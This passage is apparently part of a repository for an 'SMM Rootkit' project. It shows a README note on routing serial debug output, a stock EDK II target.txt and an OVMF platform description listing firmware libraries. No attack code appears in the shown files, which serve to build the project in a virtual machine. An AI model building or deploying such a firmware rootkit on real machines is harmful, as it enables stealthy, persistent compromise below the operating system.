get serial working on this sort of situation:\n\n- Block the Operating System from loading the driver.\n\nOn GNU+Linux, you can disable the driver completely if one is loaded. On Windows systems, you might need to rename/delete the system's serial driver. The default path to the driver executable is  `C:\\Windows\\System32\\drivers\\serial.sys`\n\n- Open an SSH client locally\n\nYou can also open the connection to the local serial port using your favorite serial client. At least on Windows this will prevent Windows' own driver from suppressing the serial output.\n"
  },
  {
    "path": "SMM Rootkit/Conf/target.txt",
    "content": "#\r\n#  Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>\r\n#\r\n#  This program and the accompanying materials\r\n#  are licensed and made available under the terms and conditions of the BSD License\r\n#  which accompanies this distribution.  The full text of the license may be found at\r\n#  http://opensource.org/licenses/bsd-license.php\r\n\r\n#  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n#  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n#\r\n#\r\n#  ALL Paths are Relative to WORKSPACE\r\n\r\n#  Separate multiple LIST entries with a SINGLE SPACE character, do not use comma characters.\r\n#  Un-set an option by either commenting out the line, or not setting a value.\r\n\r\n#\r\n#  PROPERTY              Type       Use         Description\r\n#  ----------------      --------   --------    -----------------------------------------------------------\r\n#  ACTIVE_PLATFORM       Filename   Recommended Specify the WORKSPACE relative Path and Filename\r\n#                                               of the platform description file that will be used for the\r\n#                                               build. This line is required if and only if the current\r\n#                                               working directory does not contain one or more description\r\n#                                               files.\r\nACTIVE_PLATFORM       = OvmfPkg/OvmfPkgX64.dsc\r\n\r\n#  TARGET                List       Optional    Zero or more of the following: DEBUG, RELEASE, NOOPT\r\n#                                               UserDefined; separated by a space character.\r\n#                                               If the line is missing or no value is specified, all\r\n#                                               valid targets specified in the platform description file \r\n#                                               will attempt to be built. The following line will build \r\n#                                               DEBUG platform target.\r\nTARGET                = RELEASE\r\n\r\n#  TARGET_ARCH           List       Optional    What kind of architecture is the binary being target for.\r\n#                                               One, or more, of the following, IA32, IPF, X64, EBC, ARM\r\n#                                               or AArch64.\r\n#                                               Multiple values can be specified on a single line, using\r\n#                                               space charaters to separate the values.  These are used\r\n#                                               during the parsing of a platform description file, \r\n#                                               restricting the build output target(s.)\r\n#                                               The Build Target ARCH is determined by (precedence high to low):\r\n#                                                 Command-line: -a ARCH option\r\n#                                                 target.txt: TARGET_ARCH values\r\n#                                                 DSC file: [Defines] SUPPORTED_ARCHITECTURES tag\r\n#                                               If not specified, then all valid architectures specified\r\n#                                               in the platform file, for which tools are available, will be\r\n#                                               built.\r\nTARGET_ARCH           = X64\r\n\r\n#  TOOL_DEFINITION_FILE  Filename  Optional   Specify the name of the filename to use for specifying\r\n#                                             the tools to use for the build.  If not specified,\r\n#                                             WORKSPACE/Conf/tools_def.txt will be used for the build.\r\nTOOL_CHAIN_CONF       = Conf/tools_def.txt\r\n\r\n#  TAGNAME               List      Optional   Specify the name(s) of the tools_def.txt TagName to use.\r\n#                                             If not specified, all applicable TagName tools will be\r\n#                                             used for the build.  The list uses space character separation.\r\nTOOL_CHAIN_TAG        = GCC5\r\n\r\n# MAX_CONCURRENT_THREAD_NUMBER  NUMBER  Optional  The number of concurrent threads. If not specified or set\r\n#                                                 to zero, tool automatically detect number of processor\r\n#                                                 threads. Recommend to set this value to one less than the\r\n#                                                 number of your computer cores or CPUs. When value set to 1,\r\n#                                                 means disable multi-thread build, value set to more than 1,\r\n#                                                 means user specify the thread number to build. Not specify\r\n#                                                 the default value in this file.\r\n# MAX_CONCURRENT_THREAD_NUMBER = 1\r\n\r\n\r\n# BUILD_RULE_CONF  Filename Optional  Specify the file name to use for the build rules that are followed\r\n#                                     when generating Makefiles. If not specified, the file: \r\n#                                     WORKSPACE/Conf/build_rule.txt will be used\r\nBUILD_RULE_CONF = Conf/build_rule.txt\r\n\r\n"
  },
  {
    "path": "SMM Rootkit/OvmfPkg/OvmfPkgX64.dsc",
    "content": "## @file\r\n#  EFI/Framework Open Virtual Machine Firmware (OVMF) platform\r\n#\r\n#  Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>\r\n#  (C) Copyright 2016 Hewlett Packard Enterprise Development LP<BR>\r\n#\r\n#  This program and the accompanying materials\r\n#  are licensed and made available under the terms and conditions of the BSD License\r\n#  which accompanies this distribution. The full text of the license may be found at\r\n#  http://opensource.org/licenses/bsd-license.php\r\n#\r\n#  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n#  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n#\r\n##\r\n\r\n################################################################################\r\n#\r\n# Defines Section - statements that will be processed to create a Makefile.\r\n#\r\n################################################################################\r\n[Defines]\r\n  PLATFORM_NAME                  = Ovmf\r\n  PLATFORM_GUID                  = 5a9e7754-d81b-49ea-85ad-69eaa7b1539b\r\n  PLATFORM_VERSION               = 0.1\r\n  DSC_SPECIFICATION              = 0x00010005\r\n  OUTPUT_DIRECTORY               = Build/OvmfX64\r\n  SUPPORTED_ARCHITECTURES        = X64\r\n  BUILD_TARGETS                  = NOOPT|DEBUG|RELEASE\r\n  SKUID_IDENTIFIER               = DEFAULT\r\n  FLASH_DEFINITION               = OvmfPkg/OvmfPkgX64.fdf\r\n\r\n  #\r\n  # Defines for default states.  These can be changed on the command line.\r\n  # -D FLAG=VALUE\r\n  #\r\n  DEFINE SECURE_BOOT_ENABLE      = FALSE\r\n  DEFINE NETWORK_IP6_ENABLE      = FALSE\r\n  DEFINE HTTP_BOOT_ENABLE        = FALSE\r\n  DEFINE SMM_REQUIRE             = FALSE\r\n  DEFINE TLS_ENABLE              = FALSE\r\n\r\n  #\r\n  # Flash size selection. Setting FD_SIZE_IN_KB on the command line directly to\r\n  # one of the supported values, in place of any of the convenience macros, is\r\n  # permitted.\r\n  #\r\n!ifdef $(FD_SIZE_1MB)\r\n  DEFINE FD_SIZE_IN_KB           = 1024\r\n!else\r\n!ifdef $(FD_SIZE_2MB)\r\n  DEFINE FD_SIZE_IN_KB           = 2048\r\n!else\r\n!ifdef $(FD_SIZE_4MB)\r\n  DEFINE FD_SIZE_IN_KB           = 4096\r\n!else\r\n  DEFINE FD_SIZE_IN_KB           = 4096\r\n!endif\r\n!endif\r\n!endif\r\n\r\n[BuildOptions]\r\n  GCC:*_UNIXGCC_*_CC_FLAGS             = -DMDEPKG_NDEBUG\r\n  GCC:RELEASE_*_*_CC_FLAGS             = -DMDEPKG_NDEBUG\r\n  INTEL:RELEASE_*_*_CC_FLAGS           = /D MDEPKG_NDEBUG\r\n  MSFT:RELEASE_*_*_CC_FLAGS            = /D MDEPKG_NDEBUG\r\n!if $(TOOL_CHAIN_TAG) != \"XCODE5\"\r\n  GCC:*_*_*_CC_FLAGS                   = -mno-mmx -mno-sse\r\n!endif\r\n!ifdef $(SOURCE_DEBUG_ENABLE)\r\n  MSFT:*_*_X64_GENFW_FLAGS  = --keepexceptiontable\r\n  GCC:*_*_X64_GENFW_FLAGS   = --keepexceptiontable\r\n  INTEL:*_*_X64_GENFW_FLAGS = --keepexceptiontable\r\n!endif\r\n\r\n  #\r\n  # Disable deprecated APIs.\r\n  #\r\n  MSFT:*_*_*_CC_FLAGS = /D DISABLE_NEW_DEPRECATED_INTERFACES\r\n  INTEL:*_*_*_CC_FLAGS = /D DISABLE_NEW_DEPRECATED_INTERFACES\r\n  GCC:*_*_*_CC_FLAGS = -D DISABLE_NEW_DEPRECATED_INTERFACES\r\n\r\n[BuildOptions.common.EDKII.DXE_RUNTIME_DRIVER]\r\n  GCC:*_*_*_DLINK_FLAGS = -z common-page-size=0x1000\r\n  XCODE:*_*_*_DLINK_FLAGS =\r\n\r\n# Force PE/COFF sections to be aligned at 4KB boundaries to support page level\r\n# protection of DXE_SMM_DRIVER/SMM_CORE modules\r\n[BuildOptions.common.EDKII.DXE_SMM_DRIVER, BuildOptions.common.EDKII.SMM_CORE]\r\n  GCC:*_*_*_DLINK_FLAGS = -z common-page-size=0x1000\r\n  XCODE:*_*_*_DLINK_FLAGS =\r\n\r\n################################################################################\r\n#\r\n# SKU Identification section - list of all SKU IDs supported by this Platform.\r\n#\r\n################################################################################\r\n[SkuIds]\r\n  0|DEFAULT\r\n\r\n################################################################################\r\n#\r\n# Library Class section - list of all Library Classes needed by this Platform.\r\n#\r\n################################################################################\r\n[LibraryClasses]\r\n  PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf\r\n  TimerLib|OvmfPkg/Library/AcpiTimerLib/BaseAcpiTimerLib.inf\r\n  PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf\r\n  BaseMemoryLib|MdePkg/Library/BaseMemoryLibRepStr/BaseMemoryLibRepStr.inf\r\n  BaseLib|MdePkg/Library/BaseLib/BaseLib.inf\r\n  SynchronizationLib|MdePkg/Library/BaseSynchronizationLib/BaseSynchronizationLib.inf\r\n  CpuLib|MdePkg/Library/BaseCpuLib/BaseCpuLib.inf\r\n  PerformanceLib|MdePkg/Library/BasePerformanceLibNull/BasePerformanceLibNull.inf\r\n  PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf\r\n  CacheMaintenanceLib|MdePkg/Library/BaseCacheMaintenanceLib/BaseCacheMaintenanceLib.inf\r\n  UefiDecompressLib|MdePkg/Library/BaseUefiDecompressLib/BaseUefiDecompressLib.inf\r\n  UefiHiiServicesLib|MdeModulePkg/Library/UefiHiiServicesLib/UefiHiiServicesLib.inf\r\n  HiiLib|MdeModulePkg/Library/UefiHiiLib/UefiHiiLib.inf\r\n  SortLib|MdeModulePkg/Library/UefiSortLib/UefiSortLib.inf\r\n  UefiBootManagerLib|MdeModulePkg/Library/UefiBootManagerLib/UefiBootManagerLib.inf\r\n  BootLogoLib|MdeModulePkg/Library/BootLogoLib/BootLogoLib.inf\r\n  FileExplorerLib|MdeModulePkg/Library/FileExplorerLib/FileExplorerLib.inf\r\n  CapsuleLib|MdeModulePkg/Library/DxeCapsuleLibNull/DxeCapsuleLibNull.inf\r\n  DxeServicesLib|MdePkg/Library/DxeServicesLib/DxeServicesLib.inf\r\n  DxeServicesTableLib|MdePkg/Library/DxeServicesTableLib/DxeServicesTableLib.inf\r\n  PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf\r\n  PciCf8Lib|MdePkg/Library/BasePciCf8Lib/BasePciCf8Lib.inf\r\n  PciExpressLib|MdePkg/Library/BasePciExpressLib/BasePciExpressLib.inf\r\n  PciLib|MdePkg/Library/BasePciLibCf8/BasePciLibCf8.inf\r\n  PciSegmentLib|MdePkg/Library/BasePciSegmentLibPci/BasePciSegmentLibPci.inf\r\n  IoLib|MdePkg/Library/BaseIoLibIntrinsic/BaseIoLibIntrinsicSev.inf\r\n  OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf\r\n  SerialPortLib|PcAtChipsetPkg/Library/SerialIoLib/SerialIoLib.inf\r\n  MtrrLib|UefiCpuPkg/Library/MtrrLib/MtrrLib.inf\r\n  UefiLib|MdePkg/Library/UefiLib/UefiLib.inf\r\n  UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf\r\n  UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf\r\n  UefiDriverEntryPoint|MdePkg/Library/UefiDriverEntryPoint/UefiDriverEntryPoint.inf\r\n  UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf\r\n  DevicePathLib|MdePkg/Library/UefiDevicePathLibDevicePathProtocol/UefiDevicePathLibDevicePathProtocol.inf\r\n  NvVarsFileLib|OvmfPkg/Library/NvVarsFileLib/NvVarsFileLib.inf\r\n  FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf\r\n  UefiCpuLib|UefiCpuPkg/Library/BaseUefiCpuLib/BaseUefiCpuLib.inf\r\n  SecurityManagementLib|MdeModulePkg/Library/DxeSecurityManagementLib/DxeSecurityManagementLib.inf\r\n  NetLib|MdeModulePkg/Library/DxeNetLib/DxeNetLib.inf\r\n  IpIoLib|MdeModulePkg/Library/DxeIpIoLib/DxeIpIoLib.inf\r\n  UdpIoLib|MdeModulePkg/Library/DxeUdpIoLib/DxeUdpIoLib.inf\r\n  DpcLib|MdeModulePkg/Library/DxeDpcLib/DxeDpcLib.inf\r\n  UefiUsbLib|MdePkg/Library/UefiUsbLib/UefiUsbLib.inf\r\n  SerializeVariablesLib|OvmfPkg/Library/SerializeVariablesLib/SerializeVariablesLib.inf\r\n  QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgDxeLib.inf\r\n  VirtioLib|OvmfPkg/Library/VirtioLib/VirtioLib.inf\r\n  LoadLinuxLib|OvmfPkg/Library/LoadLinuxLib/LoadLinuxLib.inf\r\n  MemEncryptSevLib|OvmfPkg/Library/BaseMemEncryptSevLib/BaseMemEncryptSevLib.inf\r\n!if $(SMM_REQUIRE) == FALSE\r\n  LockBoxLib|OvmfPkg/Library/LockBoxLib/LockBoxBaseLib.inf\r\n!endif\r\n  CustomizedDisplayLib|MdeModulePkg/Library/CustomizedDisplayLib/CustomizedDisplayLib.inf\r\n  FrameBufferBltLib|MdeModulePkg/Library/FrameBufferBltLib/FrameBufferBltLib.inf\r\n\r\n!ifdef $(SOURCE_DEBUG_ENABLE)\r\n  PeCoffExtraActionLib|SourceLevelDebugPkg/Library/PeCoffExtraActionLibDebug/PeCoffExtraActionLibDebug.inf\r\n  DebugCommunicationLib|SourceLevelDebugPkg/Library/DebugCommunicationLibSerialPort/DebugCommunicationLibSerialPort.inf\r\n!else\r\n  PeCoffExtraActionLib|MdePkg/Library/BasePeCoffExtraActionLibNull/BasePeCoffExtraActionLibNull.inf\r\n  DebugAgentLib|MdeModulePkg/Library/DebugAgentLibNull/DebugAgentLibNull.inf\r\n!endif\r\n\r\n  ResetSystemLib|OvmfPkg/Library/ResetSystemLib/ResetSystemLib.inf\r\n  LocalApicLib|UefiCpuPkg/Library/BaseXApicX2ApicLib/BaseXApicX2ApicLib.inf\r\n  DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf\r\n\r\n  IntrinsicLib|CryptoPkg/Library/IntrinsicLib/IntrinsicLib.inf\r\n!if $(TLS_ENABLE) == TRUE\r\n  OpensslLib|CryptoPkg/Library/OpensslLib/OpensslLib.inf\r\n!else\r\n  OpensslLib|CryptoPkg/Library/OpensslLib/OpensslLibCrypto.inf\r\n!endif\r\n\r\n!if $(SECURE_BOOT_ENABLE) == TRUE\r\n  PlatformSecureLib|OvmfPkg/Library/PlatformSecureLib/PlatformSecureLib.inf\r\n  TpmMeasurementLib|SecurityPkg/Library/DxeTpmMeasurementLib/DxeTpmMeasurementLib.inf\r\n  AuthVariableLib|SecurityPkg/Library/AuthVariableLib/AuthVariableLib.inf\r\n!else\r\n  TpmMeasurementLib|MdeModulePkg/Library/TpmMeasurementLibNull/TpmMeasurementLibNull.inf\r\n  AuthVariableLib|MdeModulePkg/Library/AuthVariableLibNull/AuthVariableLibNull.inf\r\n!endif\r\n  VarCheckLib|MdeModulePkg/Library/VarCheckLib/VarCheckLib.inf\r\n\r\n!if $(NETWORK_IP6_ENABLE) == TRUE\r\n  TcpIoLib|MdeModulePkg/Library/DxeTcpIoLib/DxeTcpIoLib.inf\r\n!endif\r\n\r\n!if $(HTTP_BOOT_ENABLE) == TRUE\r\n  HttpLib|MdeModulePkg/Library/DxeHttpLib/DxeHttpLib.inf\r\n!endif\r\n\r\n!if $(TLS_ENABLE) == TRUE\r\n  TlsLib|CryptoPkg/Library/TlsLib/TlsLib.inf\r\n!endif\r\n\r\n  ShellLib|ShellPkg/Library/UefiShellLib/UefiShellLib.inf\r\n  S3BootScriptLib|MdeModulePkg/Library/PiDxeS3BootScriptLib/DxeS3BootScriptLib.inf\r\n  SmbusLib|MdePkg/Library/BaseSmbusLibNull/BaseSmbusLibNull.inf\r\n  OrderedCollectionLib|MdePkg/Library/BaseOrderedCollectionRedBlackTreeLib/BaseOrderedCollectionRedBlackTreeLib.inf\r\n  XenHypercallLib|OvmfPkg/Library/XenHypercallLib/XenHypercallLib.inf\r\n\r\n[LibraryClasses.common]\r\n  BaseCryptLib|CryptoPkg/Library/BaseCryptLib/BaseCryptLib.inf\r\n\r\n[LibraryClasses.common.SEC]\r\n  TimerLib|OvmfPkg/Library/AcpiTimerLib/BaseRomAcpiTimerLib.inf\r\n  QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgSecLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformRomDebugLibIoPort.inf\r\n!endif\r\n  ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf\r\n  ExtractGuidedSectionLib|MdePkg/Library/BaseExtractGuidedSectionLib/BaseExtractGuidedSectionLib.inf\r\n!ifdef $(SOURCE_DEBUG_ENABLE)\r\n  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SecPeiDebugAgentLib.inf\r\n!endif\r\n  HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf\r\n  PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf\r\n  PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf\r\n  MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf\r\n  CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/SecPeiCpuExceptionHandlerLib.inf\r\n\r\n[LibraryClasses.common.PEI_CORE]\r\n  HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf\r\n  PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf\r\n  PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf\r\n  MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf\r\n  PeiCoreEntryPoint|MdePkg/Library/PeiCoreEntryPoint/PeiCoreEntryPoint.inf\r\n  ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf\r\n  OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf\r\n  PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n!endif\r\n  PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf\r\n\r\n[LibraryClasses.common.PEIM]\r\n  HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf\r\n  PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf\r\n  PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf\r\n  MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf\r\n  PeimEntryPoint|MdePkg/Library/PeimEntryPoint/PeimEntryPoint.inf\r\n  ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf\r\n  OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf\r\n  PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n!endif\r\n  PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf\r\n  PeiResourcePublicationLib|MdePkg/Library/PeiResourcePublicationLib/PeiResourcePublicationLib.inf\r\n  ExtractGuidedSectionLib|MdePkg/Library/PeiExtractGuidedSectionLib/PeiExtractGuidedSectionLib.inf\r\n!ifdef $(SOURCE_DEBUG_ENABLE)\r\n  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SecPeiDebugAgentLib.inf\r\n!endif\r\n  CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/PeiCpuExceptionHandlerLib.inf\r\n  MpInitLib|UefiCpuPkg/Library/MpInitLib/PeiMpInitLib.inf\r\n  QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/PeiQemuFwCfgS3LibFwCfg.inf\r\n  PcdLib|MdePkg/Library/PeiPcdLib/PeiPcdLib.inf\r\n  QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgPeiLib.inf\r\n\r\n[LibraryClasses.common.DXE_CORE]\r\n  HobLib|MdePkg/Library/DxeCoreHobLib/DxeCoreHobLib.inf\r\n  DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf\r\n  MemoryAllocationLib|MdeModulePkg/Library/DxeCoreMemoryAllocationLib/DxeCoreMemoryAllocationLib.inf\r\n  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n!endif\r\n  ExtractGuidedSectionLib|MdePkg/Library/DxeExtractGuidedSectionLib/DxeExtractGuidedSectionLib.inf\r\n!ifdef $(SOURCE_DEBUG_ENABLE)\r\n  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/DxeDebugAgentLib.inf\r\n!endif\r\n  CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/DxeCpuExceptionHandlerLib.inf\r\n  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n\r\n[LibraryClasses.common.DXE_RUNTIME_DRIVER]\r\n  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf\r\n  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf\r\n  DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf\r\n  MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf\r\n  ReportStatusCodeLib|MdeModulePkg/Library/RuntimeDxeReportStatusCodeLib/RuntimeDxeReportStatusCodeLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n!endif\r\n  UefiRuntimeLib|MdePkg/Library/UefiRuntimeLib/UefiRuntimeLib.inf\r\n  BaseCryptLib|CryptoPkg/Library/BaseCryptLib/RuntimeCryptLib.inf\r\n  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf\r\n  QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/DxeQemuFwCfgS3LibFwCfg.inf\r\n\r\n[LibraryClasses.common.UEFI_DRIVER]\r\n  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf\r\n  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf\r\n  DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf\r\n  MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf\r\n  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n!endif\r\n  UefiScsiLib|MdePkg/Library/UefiScsiLib/UefiScsiLib.inf\r\n  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf\r\n\r\n[LibraryClasses.common.DXE_DRIVER]\r\n  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf\r\n  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf\r\n  MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf\r\n  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf\r\n  UefiScsiLib|MdePkg/Library/UefiScsiLib/UefiScsiLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n!endif\r\n  NetLib|MdeModulePkg/Library/DxeNetLib/DxeNetLib.inf\r\n  IpIoLib|MdeModulePkg/Library/DxeIpIoLib/DxeIpIoLib.inf\r\n  UdpIoLib|MdeModulePkg/Library/DxeUdpIoLib/DxeUdpIoLib.inf\r\n  DpcLib|MdeModulePkg/Library/DxeDpcLib/DxeDpcLib.inf\r\n  PlatformBootManagerLib|OvmfPkg/Library/PlatformBootManagerLib/PlatformBootManagerLib.inf\r\n  QemuBootOrderLib|OvmfPkg/Library/QemuBootOrderLib/QemuBootOrderLib.inf\r\n  CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/DxeCpuExceptionHandlerLib.inf\r\n!if $(SMM_REQUIRE) == TRUE\r\n  LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxDxeLib.inf\r\n!else\r\n  LockBoxLib|OvmfPkg/Library/LockBoxLib/LockBoxDxeLib.inf\r\n!endif\r\n!ifdef $(SOURCE_DEBUG_ENABLE)\r\n  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/DxeDebugAgentLib.inf\r\n!endif\r\n  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf\r\n  MpInitLib|UefiCpuPkg/Library/MpInitLib/DxeMpInitLib.inf\r\n  QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/DxeQemuFwCfgS3LibFwCfg.inf\r\n\r\n[LibraryClasses.common.UEFI_APPLICATION]\r\n  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf\r\n  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf\r\n  MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf\r\n  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n!endif\r\n  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf\r\n\r\n[LibraryClasses.common.DXE_SMM_DRIVER]\r\n  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf\r\n  MemoryAllocationLib|MdePkg/Library/SmmMemoryAllocationLib/SmmMemoryAllocationLib.inf\r\n  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf\r\n  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf\r\n  SmmMemLib|MdePkg/Library/SmmMemLib/SmmMemLib.inf\r\n  SmmServicesTableLib|MdePkg/Library/SmmServicesTableLib/SmmServicesTableLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n!endif\r\n  